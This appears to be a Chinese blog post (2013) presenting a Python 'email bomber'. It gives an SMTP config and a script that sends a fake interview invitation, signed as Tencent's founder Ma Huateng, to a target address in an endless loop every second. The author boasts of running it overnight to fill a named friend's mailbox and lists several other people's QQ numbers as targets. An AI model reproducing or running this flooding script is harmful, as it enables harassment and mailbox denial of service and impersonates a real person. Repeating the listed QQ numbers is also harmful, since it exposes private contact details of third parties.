现在的位置: 首页 > 综合 > 正文

Python写邮件轰炸机

2013年11月02日 ⁄ 综合 ⁄ 共 2229字 ⁄ 字号 评论关闭


#!/usr/bin/python
#!_*_conding:gbk_*_
import threading
import time
def myfunc():
    nowtime=time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))
    print "Hello Boys,I am MXi4oyu.Now is %s\n"%nowtime
while True:
    timer=threading.Timer(10,myfunc)
    timer.start()
    time.sleep(1)
==================================================
这样,一个简单的定时器就写好了,那么显然没什么功能,那么你想让它更丰富多彩吗?我们看下面的例子。
我们就写一个定时器,定时向某个人的邮箱发送邮件。先上图:

然后贴代码:
先写配置文件:

#_*_coding:utf8_*_
#config.py 
smtpServer='smtp.126.com' #邮件发送帐户的smtp服务器地址
smtpPort='25' #邮件发送帐户的smtp服务器发送端口
smtpUser='******@126.com' #邮件发送帐户名
smtpPwd='******' #邮件发送帐户密码,我这里打*号
sendTo='798033502@qq.com' #接收邮箱地址

 ===============================================================

#sendInfo.py 
#!/usr/bin/env python
#_*_coding:utf8_*_
import smtplib,config,email,sys,socket,threading,time
from email.Message import Message
def  connect():#定义一个方法,用来连接到邮箱服务器
    try:
        server=smtplib.SMTP(config.smtpServer,config.smtpPort)
        server.ehlo()
        server.login(config.smtpUser,config.smtpPwd)
        return server
    except Exception:
        print "无法连接到邮箱服务器!"
def sendInfo(server,to,subject,content):
    msg=Message()
    msg['Mime-Version']='1.0'
    msg['From']=config.smtpUser
    msg['To']=to
    msg['Subject']=subject
    msg.set_payload(content)
    try:
        mailinfo=server.sendmail(config.smtpUser,to,str(msg))
    except Exception,ex:
        print "Error!邮件发送失败!%s"%ex
    else:
        print "Goodluck!邮件发送成功!"
def myfunc():
    global contents
    print contents
    text="你好,我是马化腾,感觉你人挺不错的,明天来我们公司上班吧"
    if contents!=text:
        contents=text
        server=connect()
        sendInfo(server,to,subject,contents)
    t=threading.Timer(10,myfunc)
    t.start()
if __name__=='__main__':
    while True:
        to=config.sendTo
        subject="面试通知"
        server=connect()
        contents="你好,我是马化腾,感觉你人挺不错的,明天来我们公司上班吧"
        sendInfo(server,to,subject,contents)
        timer=threading.Timer(10.0,myfunc)
        timer.start()
        time.sleep(1)
OK,写好了,那么就找个朋友试试吧。Z-Ping ,QQ:251683535
他问我执行计划任务的问题,那么现在我就把电脑打开,开始跑这个Py脚本,等天亮的时候应该能把他的邮箱填满的。哈哈,我是不是很有才呢? 

====================================================

顺便测试几个朋友的QQ吧。都是闹着玩的,也许幸运的你,马上就中标了。因为本人QQ好友有限,所以不能一一测试,还请大家原谅啊。 
被测人员均是Python Hacker成员,
四叶草同学:
345405677
Miss冰同学:1018698823  
大徒弟鲜花,此人不便透露QQ。
LION
学生Boy:
1018854697
 围剿:
490719145
冰颜:
953655728
......

==================================================
好了,就这些吧,剩下的时间交给
Z-Ping ,QQ:251683535




抱歉!评论已关闭.